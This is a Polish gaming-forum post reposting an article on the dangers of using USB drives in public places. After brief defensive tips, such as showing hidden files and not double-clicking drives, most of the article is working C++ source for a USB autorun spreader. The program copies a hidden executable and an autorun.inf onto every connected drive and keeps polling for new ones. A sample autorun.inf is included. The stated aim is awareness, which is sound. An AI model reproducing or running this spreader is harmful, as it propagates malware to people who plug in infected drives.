Skocz do zawartości
Forum
Regulamin

Zasady i wytyczne obowiązujące wszystkich użytkowników

Administracja

Poznaj zespół moderatorów i administratorów dbających o społeczność

Ranking Użytkowników

Zestawienie najbardziej aktywnych członków naszej społeczności

Serwery
Bany CS2

System banów na serwerach Counter-Strike 2

Bany CS 1.6

System banów na serwerach Counter-Strike 1.6

Sklep CS2

Dostęp do usług premium i przywilejów na serwerach CS2

Statystyki Graczy - CS2

Sprawdź najlepszych graczy naszych serwerów CS2 oraz ich dokładne statystyki!

Sklep CS 1.6

Oferta usług VIP/SVIP dla graczy Counter-Strike 1.6

Odwołaj się od bana

Oficjalna procedura odwoławcza dla zablokowanych graczy

Społeczność
Wydarzenia

Kalendarz turniejów, konkursów i integracyjnych spotkań graczy

Discord

Dołącz do naszej społeczności na discordzie

Aktualności

Bieżące informacje dotyczące serwerów i środowiska CS

Pomoc

Przewodniki, poradniki i wsparcie dla wszystkich użytkowników

Nowy szablon forum
csowicze.pl


Przygotowaliśmy dla Was nowy wygląd forum! Na pewno znajdziecie rzeczy, które można ulepszyć. Dajcie nam znać w dedykowanym wątku. Wasza opinia jest dla nas ważna!

Czytaj więcej

Największy spamer czatbox'a! Weź udział kolejnej edycji konkursu!


Wraz ze startem nowej odsłony forum ruszamy z kolejną edycją konkursu spamer czatbox'a! Do wygrania fajne nagrody w tym $$$$

Czytaj więcej

Csowicze – Odświeżona Odsłona | Parę Ważnych Informacji


Wracamy po krótkiej przerwie... Przeczytaj ogłoszenie by być na bieżąco!

Czytaj więcej

Nasze serwery

  • 8 Wszystkich serwerów
  • 188 / 323 Wszystkich graczy
  • 58% Zapełnienie serwerów

Sprawdź co u nas się dzieje w

Redakcja

Pokaż ostatnie tematy

Liga typera

Pokaż ostatnie tematy

Serwery

Pokaż ostatnie tematy

Przywitalnia

Pokaż ostatnie tematy

Grafika

Pokaż ostatnie tematy

xxx
xxx
xxx
xxx
xxx
xxx
xxx
xxx
xxx

Rekomendowane odpowiedzi

Napisano

a-bezpieczenstwo.png

 

Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:

  • Biblioteki
  • Kafejki internetowe
  • Szkolna pracownia internetowa....

    Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.

    Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na
Narzędzia -> Opcje folderów -> Widok.

Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy

Ukryj chronione pliki systemu windows

Od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.


Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.

Na początku dołączamy pliki nagłówkowe takie jak:

#include <windows.h>
#include <string>
#include <vector>

Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC

void GetPendrives(std::vector<std::string>* pendrives)
{
char* bufor=new char[1024];
DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow
if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci
{
delete bufor;
bufor=new char[need];
GetLogicalDriveStrings(need,bufor);
}
int n=need/4; // ilosc dyskow
std::string* dyski=new std::string[n];
int i=0;

while(i<n) {
dyski[i]=(char*)(bufor+(i*4));
i++;
}
pendrives->clear();//usuwamy wszystko co jest w vectorze

i=0;
while(i<n) {
if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami
{
pendrives->push_back(dyski[i]);
}
i++;
}
}

Teraz czas na inne potrzebne nam funkcje

bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive
{
int n=vec.size();
int i=0;
while(i<n) {
if(vec[i]==str)
{
return true;
}
i++;
}
return false;
}
bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow
{
bool result = false;HRSRC hResource=NULL;hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);

if(!hResource)
{
return result;
}
if( hResource != NULL ){
HGLOBAL hLoader = LoadResource(NULL,hResource);
if( hLoader != NULL ){
byte *data = (byte *)LockResource(hLoader);
DWORD len = SizeofResource(NULL,hResource);if( data != NULL && len > 0 ){

HANDLE hFile = CreateFile(filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( hFile != INVALID_HANDLE_VALUE ){
DWORD written = 0;

int write = WriteFile(hFile,
data,
len,
&written,
NULL);
if( len == written && write == TRUE )
result = true;
}
CloseHandle(hFile);
}
UnlockResource(hLoader);
}
FreeResource(hLoader);
}
return result;
}

A ten kod umieszczamy wewnatrz main:

std::vector<std::string> vec;
GetPendrives(&vec);
int i=0;
while(i<vec.size()){
//w tym momecie wypakowujemy na wszystkie pendrivy nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=vec[i];
std::string autorun=vec[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
i++;
}
std::vector<std::string> tmp;
int n=0;
i=0;
while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy
{
GetPendrives(&tmp);
n=tmp.size();
i=0;
while(i<n) {
if(!FindInVector(tmp[i].c_str(),vec))
{
//w tym momecie wypakowujemy na ten dysk nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=tmp[i];
std::string autorun=tmp[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy}
i++;
}
vec=tmp;
Sleep(10000);
}

Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google

Przykładowy plik autorun:

[autorun]
OPEN=Start.exe
shellexecute=Start.exe
shell=Auto
shellAuto=&Autoplay
shellAutocommand=Start.exe

Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005

Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy

Autor artykułu: Grzonu (grzonu.com.pl)

 

POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO!

:!!: Skontaktuj się ze mną po więcej szczegółów :!!:

  • 1 rok później...
Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie